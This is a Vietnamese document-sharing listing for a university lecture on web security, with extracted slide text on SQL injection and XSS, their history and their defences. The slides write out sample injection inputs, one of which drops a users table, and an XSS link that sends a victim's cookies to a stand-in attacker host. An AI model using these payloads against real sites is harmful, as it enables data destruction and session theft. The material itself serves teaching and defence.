Danh mục tài liệu

Bài giảng Mật mã và ứng dụng: An toàn Web - Trần Đức Khánh

Số trang: 14      Loại file: pdf      Dung lượng: 464.84 KB      Lượt xem: 28      Lượt tải: 0    
Xem trước 2 trang đầu tiên của tài liệu này:

Thông tin tài liệu:

 Bài giảng 'Mật mã và ứng dụng: An toàn Web ' cung cấp cho người đọc các nội dung: Tấn công SQL injection, tấn công XSS. Hi vọng đây sẽ là một tài liệu hữu ích dành cho các bạn sinh viên Công nghệ thông tin dùng làm tài liệu học tập và nghiên cứu.


Nội dung trích xuất từ tài liệu:
Bài giảng Mật mã và ứng dụng: An toàn Web - Trần Đức Khánh An toàn Web Trần Đức Khánh Bộ môn HTTT – Viện CNTT&TT ĐH BKHN An toàn Web o  Tấn công SQL injection o  Tấn công XSS SQL injection o  SQL n  Structured Query Language n  Ngôn ngữ truy vấn CSDL SQL injection SQL injection o  Tấn công SQL Injection n  statement = “SELECT * FROM users WHERE name = ‘ “ + userName +” ‘;” Điều gì xảy ra nếu userName = hi’ or 1=1 SQL injection SQL injection o  Tấn công SQL Injection n  statement = “SELECT * FROM users WHERE name = ‘ “ + userName +” ‘;” Điều gì xảy ra nếu userName = hi';DROP TABLE users; SQL injection o  06/2005 n  Tấn công hệ thống thẻ, 263000 thẻ bị đánh cắp, 43000000 thẻ gặp nguy cơ o  06/2007 n  Tấn công bôi xấu trang Microsoft UK o  08/2007 n  Tấn công bôi xấu trang LHQ o  01/2008 n  Hàng chục nghìn máy tính bị tấn công vào MS SQL Server SQL injection o  Biện pháp ngăn chặn n  Mức lập trình o  Kiểm soát chặt chẽ đầu vào o  Loại bỏ các ký tự đặc biệt n  Ở mức CSDL o  Dùng lệnh prepare để định dạng câu truy vấn n  Phân tích tĩnh câu truy vấn o  Phát hiện điều kiện “1 = 1” n  Kiểm thử Tấn công XSS o  Ví dụ n  Search: http://victim.com/search.php ? term = apple n  Search.php trả lời Search Results Results for : ... o  Có nguy cơ gì không? Tấn công XSS o  Vấn đề: không duyệt đầu vào “term” http://victim.com/search.php ? term = window.open( “http://badguy.com?cookie = ” + document.cookie ) o  Điều gì xảy ra nếu người dùng kích lên địa chỉ này n  Trình duyệt đi đến victim.com/search.php n  victim.com trả về Results for ... n  Trình duyệt gửi cookie của victim.com cho badguy.com Tấn công XSS Tấn công XSS o  Cách thức lừa người dùng kích vào liên kết độc hại n  Phishing email n  Banner quảng cáo n  ... Tấn công XSS o  Khai thác n  Đánh cắp cookie (người dùng, mật khẩu, đặc quyền,…) n  Thực thi các script trong trình duyệt như là từ trang của nạn nhân n  Lây nhiễm: sâu Samy trên mySpace.com o  Hậu quả n  80 % lỗ hổng an ninh mạng được báo cáo n  Mục tiêu lớn: google, facebook, mySpace, Yahoo, PayPal, eBay

Tài liệu được xem nhiều:

Tài liệu có liên quan: